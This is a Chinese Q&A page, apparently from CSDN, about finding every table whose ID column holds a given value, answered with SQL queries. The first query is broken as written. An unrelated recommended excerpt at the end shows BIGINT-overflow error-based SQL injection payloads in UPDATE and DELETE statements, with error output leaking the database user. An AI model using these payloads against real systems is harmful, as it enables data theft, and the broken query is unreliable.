SQL在所有表中查询指定字段名及其数据

在SQL数据库中有上百张表,大部分表中都含有字段名为ID这一列,类型为bigint,如何在这些ID中查询其值等于10086,返回所在的所有表名。

试试这样

SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME = 'ID'
AND TABLE_NAME IN (
    SELECT TABLE_NAME
    FROM your_database_name
    WHERE ID = 10086
);

考虑到 标准的 tsql 指令中, from 后边必须跟名字,而不能跟变量

所以,要么你用游标,动态生成指令,然后组合结果

要么,建立一个自定义函数,用来判定某个表中某列数据是否存在某值

至于找到所有包含指定列名的表,则很简单

select o.name
from sysobjects o
left join syscolumns c on c.id=o.id
where o.xtype='u' and c.name='id'
  • 这有个类似的问题, 你可以参考下: https://ask.csdn.net/questions/7536294
  • 这篇博客你也可以参考下:SQL面试题:删除表中指定字段的重复数据,只保留最大的id数据
  • 除此之外, 这篇博客: 基于BIGINT溢出错误的SQL注入中的 6.利用更新语句进行注入 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  • 利用更新语句,我们照样可以进行类似的注入,具体如下所示:

    > mysql> update users set password='Peter' or !(select*from(select
    > user())x)-~0 or '' where id=4; ERROR 1690 (22003): BIGINT UNSIGNED
    > value is out of range in '((not((select 'root@localhost' from dual)))
    > - ~(0))'
    

    同样的,我们也可以利用删除语句进行注入,具体如下所示:

    mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'